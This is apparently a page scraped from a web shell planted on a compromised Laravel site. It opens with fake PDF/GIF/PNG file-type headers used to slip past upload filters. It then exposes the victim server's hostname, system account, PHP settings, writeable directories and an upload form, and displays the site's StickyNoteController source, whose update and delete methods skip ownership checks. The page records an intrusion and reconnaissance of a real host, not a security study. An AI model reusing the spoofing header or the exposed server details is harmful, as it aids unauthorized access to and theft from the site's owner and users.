%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/app/Http/Controllers/StickyNoteController.php
<?php

namespace App\Http\Controllers;

use App\Helper\Reply;
use App\Http\Requests\Sticky\StoreStickyNote;
use App\Http\Requests\Sticky\UpdateStickyNote;
use App\Models\StickyNote;

class StickyNoteController extends AccountBaseController
{

    public function __construct()
    {
        parent::__construct();
        $this->pageTitle = 'app.menu.stickyNotes';
    }

    public function index()
    {
        $this->stickyNotes = StickyNote::where('user_id', user()->id)->orderBy('updated_at', 'desc')->get();

        if (request()->ajax()) {
            $this->pageTitle = __('app.menu.stickyNotes');
            $html = view('sticky-notes.ajax.notes', $this->data)->render();
            return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]);
        }

        $this->view = 'sticky-notes.ajax.notes';

        return view('sticky-notes.index', $this->data);
    }

    /**
     * XXXXXXXXXXX
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        $this->stickyNotes = StickyNote::where('user_id', user()->id)->orderBy('updated_at', 'desc')->get();
        $this->pageTitle = __('modules.sticky.addNote');

        if (request()->ajax()) {
            $this->pageTitle = __('modules.sticky.addNote');
            $html = view('sticky-notes.ajax.create', $this->data)->render();
            return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]);
        }

        $this->view = 'sticky-notes.ajax.create';

        return view('sticky-notes.index', $this->data);
    }

    public function store(StoreStickyNote $request)
    {
        $sticky = new StickyNote();
        $sticky->note_text  = $request->notetext;
        $sticky->colour     = $request->colour;
        $sticky->user_id = user()->id;
        $sticky->save();

        return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('sticky-notes.index')]);
    }

    public function show($id)
    {
        $this->stickyNotes = StickyNote::where('user_id', user()->id)->where('id', $id)->firstOrFail();
        $this->pageTitle = __('app.note') . ' ' . __('app.details');

        if (request()->ajax()) {
            $html = view('sticky-notes.ajax.show', $this->data)->render();
            return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]);
        }

        $this->view = 'sticky-notes.ajax.show';

        return view('sticky-notes.index', $this->data);
    }

    public function edit($id)
    {
        $this->stickyNote = StickyNote::where('user_id', user()->id)->where('id', $id)->firstOrFail();
        $this->pageTitle = __('app.editNote');

        if (request()->ajax()) {
            $html = view('sticky-notes.ajax.edit', $this->data)->render();
            return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]);
        }

        $this->view = 'sticky-notes.ajax.edit';

        return view('sticky-notes.index', $this->data);
    }

    public function update(UpdateStickyNote $request, $id)
    {
        $sticky = StickyNote::findOrFail($id);
        $sticky->note_text  = $request->notetext;
        $sticky->colour     = $request->colour;
        $sticky->save();

        return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('sticky-notes.index')]);
    }

    public function destroy($id)
    {
        StickyNote::destroy($id);
        return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('sticky-notes.index')]);
    }

}

VaKeR 2022